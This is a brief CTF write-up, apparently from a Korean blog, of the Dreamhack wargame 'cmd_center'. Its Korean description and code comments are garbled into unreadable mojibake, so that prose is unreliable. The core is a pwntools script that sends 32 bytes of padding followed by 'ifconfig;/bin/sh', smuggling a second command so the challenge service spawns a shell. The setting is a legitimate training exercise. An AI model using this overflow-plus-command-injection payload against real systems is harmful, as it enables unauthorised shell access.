https://dreamhack.io/wargame/challenges/117
cmd_center
Description IP๋ฅผ ํ์ธํ ํ์๊ฐ ์์ต๋๋ค! ํน์ ๋ค๋ฅธ ๋ช ๋ น์ด๋ ๋ชป์ฐ๋์? ๋ค๋ฅธ ๋ช ๋ น์ด๋ฅผ ์ฌ์ฉํ๋ค๋ฉด ํ๋๊ทธ๋ฅผ ํ๋ํ์ธ์! References https://dreamhack.io/learn/2/1#3 https://dreamhack.io/learn/2/14#3
dreamhack.io

pwntool์ ์ฌ์ฉํ์ฌ ์์ฑํ ์ฝ๋
from pwn import *
p = remote('host1.dreamhack.games', 20621) // ์ ์
p.sendline("asdfasdfasdfasdfasdfasdfasdfasdfifconfig;/bin/sh") // 32bit dummy + ๋ช
๋ น์ด ์กฐ์
p.interactive()
์ฝ๋ ์คํํ๋ฉด

'SECURITY > CTF' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[dreamhack - wargame] pwn : pwn-library (0) | 2021.06.01 |
---|